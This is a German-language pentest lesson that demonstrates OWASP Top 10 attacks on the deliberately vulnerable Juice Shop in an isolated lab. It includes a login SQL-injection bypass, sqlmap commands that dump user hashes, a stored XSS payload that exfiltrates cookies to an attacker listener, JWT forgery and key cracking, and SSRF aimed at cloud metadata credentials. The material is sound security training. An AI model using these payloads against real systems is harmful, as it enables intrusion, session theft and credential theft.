Zum Hauptinhalt springen

OWASP Top 10 — Geführte Demonstration

OWASP Juice Shop — die modernste absichtlich verwundbare Anwendung, geschrieben in Angular + Node.js. Wir zerlegen sie, fünf Mal hintereinander, über fünf verschiedene Kategorien des Top 10. Jedes Mal: Anfrage, Antwort, Auswirkung.

Isoliertes Lab

Juice Shop läuft auf 10.10.10.50 in Ihrem Host-only-Lab. Kein Befehl dieser Lektion geht ins Internet.

Was Sie nach dieser Lektion können​

  • Juice Shop in Docker starten.
  • Fünf Schwachstellen unterschiedlicher Kategorien ausnutzen.
  • Für jede einen klaren Wirkungsnachweis schreiben.
  • Ein IDOR mit einem schwachen JWT zu einem vollständigen Eskalationsszenario verketten.

Schritt 0 — Juice Shop starten​

Auf einer neuen Ubuntu-VM im Lab, oder auf Kali:

docker run -d --name juice -p 3000:3000 bkimminich/juice-shop

Von Kali aus: http://10.10.10.50:3000/ — der Shop wird angezeigt.

Konfigurieren Sie Firefox, um über Burp Suite zu laufen (127.0.0.1:8080). Erstellen Sie ein normales Benutzerkonto (victime@test.local / Test123!), melden Sie sich an. Burp sieht alles.

Erstellen Sie den Nachweisordner:

mkdir -p ~/labs/semaine-07/preuves

Schritt 1 — A01: IDOR auf den Warenkörben​

Beobachtung: Ihr Warenkorb hat eine ID basketId=6. Jeder Benutzer hat seinen eigenen Warenkorb.

Hypothese: Was, wenn man die ID ändert?

Finden Sie in der Burp HTTP-History die Anfrage:

GET /rest/basket/6 HTTP/1.1
Host: 10.10.10.50:3000
Authorization: Bearer eyJ0eXAiOi...

Send to Repeater. Ändern Sie 6 in 1:

GET /rest/basket/1 HTTP/1.1

Antwort:

{
"status": "success",
"data": {
"id": 1,
"coupon": null,
"UserId": 1,
"createdAt": "2026-03-15T10:12:44.891Z",
"Products": [
{"name": "Apple Juice", "quantity": 3, "price": 1.99},
{"name": "OWASP Juice Shop Logo Sticker", "quantity": 100, "price": 5}
]
}
}

Sie sehen den Warenkorb des Admins. UserId=1 = Admin-Konto.

Wirkungsnachweis:

Anfrage: GET /rest/basket/1 mit einem normalen Benutzertoken
Antwort: vollständiger Inhalt des Warenkorbs des Benutzers ID=1 (Admin)
Konsequenz: jeder Benutzer kann den Warenkorb jedes anderen Benutzers lesen.
In einem echten Shop entspricht das dem Lesen der Bestellungen aller Kunden.

Speichern Sie Anfrage + Antwort in preuves/A01-idor-panier.md.


Schritt 2 — A03: SQL-Injection beim Login​

Beobachtung: Das Login hat ein E-Mail-Feld, ein Passwort-Feld.

Fangen Sie in Burp POST /rest/user/login ab:

{"email":"victime@test.local","password":"Test123!"}

Ändern Sie:

{"email":"' OR 1=1 --","password":"anything"}

Senden. Antwort:

{
"authentication": {
"token": "eyJ0eXAiOi...",
"bid": 1,
"umail": "admin@juice-sh.op"
}
}

Sie sind Admin. Die Authentifizierung wurde umgangen: Die Abfrage wird zu SELECT * FROM Users WHERE email='' OR 1=1 --' AND password='...' → gibt die erste Zeile zurück, in der Regel den Admin.

Wirkungsnachweis:

Anfrage: POST /rest/user/login mit manipulierter E-Mail
Ergebnis: gültiges JWT-Token für admin@juice-sh.op
Konsequenz: vollständige Kompromittierung der Anwendung durch SQL-Injection
im E-Mail-Feld des Logins.

Notieren Sie das Token für später:

export ADMIN_TOKEN="eyJ0eXAiOi..."

Speichern Sie in preuves/A03-sqli-login.md.


Schritt 3 — A03 (bis): SQL-Injection mit sqlmap​

Suchen wir eine klassischere Injection. Navigieren Sie zu http://10.10.10.50:3000/rest/products/search?q=apple. Das ist ein Such-Endpunkt.

Erfassen Sie in Burp die Anfrage:

GET /rest/products/search?q=apple HTTP/1.1
Host: 10.10.10.50:3000

Speichern Sie sie als Datei:

# preuves/req-search.txt
GET /rest/products/search?q=FUZZ HTTP/1.1
Host: 10.10.10.50:3000

Starten Sie sqlmap:

sqlmap -r preuves/req-search.txt --batch --level=3 --dbs

Typische Ausgabe:

sqlmap identified the following injection point(s):
Parameter: q (GET)
Type: UNION query
Payload: apple' UNION SELECT NULL,NULL,...

available databases [1]:
[*] SQLite_masterdb

Gut, das ist eine SQLite. Wir listen die Tabellen auf:

sqlmap -r preuves/req-search.txt --batch --tables
Database: <current>
[9 tables]
+-------------------+
| Users |
| Products |
| Feedbacks |
| BasketItems |
| ... |
+-------------------+

Auszug von 3 Benutzern:

sqlmap -r preuves/req-search.txt --batch --dump -T Users --start=1 --stop=3
+---+------------------------+--------------------------------+---------+
| id | email | password (md5) | role |
+---+------------------------+--------------------------------+---------+
| 1 | admin@juice-sh.op | 0192023a7bbd73250516f069df18b500 | admin |
| 2 | jim@juice-sh.op | e5a9e79ba99895c40506c5be3f4d2354 | customer|
| 3 | bender@juice-sh.op | 03dfb27506def0d31d5b1e57dc95519f | customer|
+---+------------------------+--------------------------------+---------+

Wirkungsnachweis:

Extraktion beschränkt auf 3 Zeilen (Einhaltung des RoE).
MD5-Hash des Admins: 0192023a7bbd73250516f069df18b500
→ In 3 Sekunden entschlüsselt auf https://crackstation.net → Passwort "admin123"
Konsequenz: ausgehend von einer SQL-Injection auf einem öffentlichen
Such-Endpunkt, Extraktion und Knacken des Admin-Passworts in < 5 Minuten.

Schritt 4 — A03: Gespeichertes XSS auf der Profilseite​

Gehen Sie in Ihrem Benutzerkonto zu Profil. Sie können Ihren Benutzernamen ändern.

Testen Sie:

<img src=x onerror="alert(document.cookie)">

Speichern. Laden Sie die Profilseite neu. Ein Pop-up zeigt Ihr Cookie.

Pop-up = POC. Wir wollen die Auswirkung. Ersetzen wir es durch einen Payload, der exfiltriert:

<img src=x onerror="fetch('http://10.10.10.5:8000/steal?c='+document.cookie)">

Starten Sie auf Kali einen Server:

python3 -m http.server 8000

Laden Sie die Seite neu. Das Kali-Terminal zeigt:

10.10.10.50 - - [15/Apr/2026 14:33:12] "GET /steal?c=token=eyJ0eXAi... HTTP/1.1" 200 -

Sie haben das JWT-Token des Besuchers exfiltriert, der Ihr Profil geladen hat. Auf einer Community-Seite (Feedback, Forum) würde jeder Administrator, der Ihre Nachricht ansieht, sein Token an Ihren Server senden.

Wirkungsnachweis:

Gespeichertes XSS im Benutzernamen (Payload: img onerror fetch).
Das JWT-Token jedes Besuchers (einschließlich Admin) wird nach 10.10.10.5:8000 exfiltriert.
Konsequenz: vollständige Identitätsübernahme, einschließlich Admin, sobald ein
Moderator meine Profilseite ansieht.

Speichern Sie in preuves/A03-xss-stockee.md.


Schritt 5 — A07: JWT mit alg=none​

Entschlüsseln wir das im Schritt 2 erhaltene Admin-JWT auf jwt.io (oder lokal mit jwt-cli):

Header : {"typ":"JWT","alg":"HS256"}
Payload: {
"status":"success",
"data":{"id":1,"email":"admin@juice-sh.op","password":"...","role":"admin"},
"iat":1712345678
}
Signature: <256 bits>

Angriff alg=none: Wir ersetzen HS256 im Header durch none, wir entfernen die Signatur.

Manuelle Konstruktion:

import base64, json

header = {"typ":"JWT","alg":"none"}
payload = {"status":"success","data":{"id":1,"email":"admin@juice-sh.op","role":"admin"},"iat":1712345678}

def b64(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()

token = f"{b64(header)}.{b64(payload)}."
print(token)

Ausgabe:

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6...

Testen Sie:

curl -H "Authorization: Bearer <token-forge>" http://10.10.10.50:3000/rest/user/whoami

Antwort:

{"user":{"id":1,"email":"admin@juice-sh.op","role":"admin"}}

Auf Juice Shop funktioniert dieser Angriff nicht (die Bibliothek prüft), aber er funktioniert weiterhin bei vielen echten APIs, die mit alten JWT-Parsern geschrieben wurden.

Fallback, der auf Juice Shop funktioniert: Wir knacken den HS256-Schlüssel mit Hashcat. Holen Sie das Token, extrahieren Sie die Signatur:

hashcat -m 16500 token.txt /usr/share/wordlists/rockyou.txt

Wenn der Schlüssel Teil von rockyou.txt ist (secret, admin, changeme…), erhalten Sie den Schlüssel in Sekunden. Anschließend fälschen Sie ein legitim signiertes Admin-Token.

Wirkungsnachweis:

Angriff: JWT-Signatur per Wörterbuch erraten (hashcat -m 16500).
Gefundener Schlüssel: "secret" (10 Minuten)
Ergebnis: Fähigkeit, ein beliebiges Token für einen beliebigen Benutzer zu fälschen.
Konsequenz: dauerhafte Kompromittierung bis zur Rotation des Signaturschlüssels.

Schritt 6 — A10: SSRF beim Bild-Import​

Juice Shop hat einen Upload-Endpunkt, der ein Bild von einer URL laden kann:

POST /api/User/  HTTP/1.1
Content-Type: application/json
{"picture":"http://<url-controlée>"}

Testen Sie mit dem AWS-Metadata-Endpunkt (auch wenn Juice Shop nicht auf AWS läuft, simulieren wir das Prinzip):

{"picture":"http://169.254.169.254/latest/meta-data/"}

Auf einer echten verwundbaren EC2-Instanz würde die Antwort die Metadaten enthalten, einschließlich der IAM-Credentials.

Für die lokale Demo starten wir einen Testserver auf Kali:

python3 -m http.server 9000 > /tmp/reception.log &

Payload:

{"picture":"http://10.10.10.5:9000/secret.txt"}

Senden. Prüfen Sie /tmp/reception.log:

10.10.10.50 - - [15/Apr/2026 14:41:03] "GET /secret.txt HTTP/1.1" 404 -

Nachweis: Der Anwendungsserver hat tatsächlich eine Anfrage an die IP gesendet, die Sie gewählt haben. Das ist das SSRF-Verhalten.

Erweiterter Wirkungsnachweis (auf einem echten Cloud-Ziel):

Payload: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
Antwort: {AccessKeyId, SecretAccessKey, Token}
aws sts get-caller-identity → Bestätigung des AWS-Kontos
aws iam list-attached-role-policies → vollständige Sicht auf die Berechtigungen
Konsequenz: Übergang von einer Anwendungs-SSRF zu einer Cloud-Kompromittierung.

Speichern Sie in preuves/A10-ssrf.md.


Schritt 7 — Die Kette: XSS → Diebstahl des Admin-JWT → vollständige Übernahme​

Verketten Sie erneut, um eine echte Angriffsgeschichte zu zeigen:

  1. Gespeichertes XSS auf meiner Profilseite (Schritt 4).
  2. Ein Moderator sieht sich meine Seite an.
  3. Das JWT des Moderators wird an meinen Server gesendet (10.10.10.5:8000/steal?c=...).
  4. Ich kopiere dieses JWT in Authorization: Bearer ... in Burp.
  5. Alle Anfragen, die ich jetzt stelle, werden mit der Identität des Moderators ausgeführt.
  6. Ich greife auf /rest/admin/users, auf /rest/products/create usw. zu.
  7. Ich ändere den Preis eines Produkts auf 0,01 $, lege es in den Warenkorb, gebe die Bestellung auf.

Zwei einzelne Schwachstellen (XSS + fehlende MFA auf dem Admin-Konto), verkettet = kommerzielle Kompromittierung.

Diese Geschichte — nicht die isolierten Payloads — ist es, was im Abschlussbericht landet.


Fazit​

In 90 Minuten, auf Juice Shop:

  • A01 IDOR — Lesen des Admin-Warenkorbs.
  • A03 SQLi Login — vollständige Umgehung der Authentifizierung.
  • A03 SQLi Search — Extraktion der Tabelle Users.
  • A03 gespeichertes XSS — Exfiltration eines JWT.
  • A07 JWT — Knacken des HMAC-Schlüssels.
  • A10 SSRF — der Server sendet, was ich will.
  • Angriffskette: XSS + Admin-Session = kommerzielle Kompromittierung.

Das sind fünf Wirkungsnachweise in einem Ordner. Das ist die Art von Inhalt, die in einen Web-Pentest-Bericht gehört.

Nächste Lektion: Jetzt sind Sie dran. Sie nehmen DVWA oder Juice Shop auf höherer Schwierigkeitsstufe, bringen mindestens 3 Schwachstellen unterschiedlicher Kategorien zu Fall, mit Wirkungsnachweis für jede.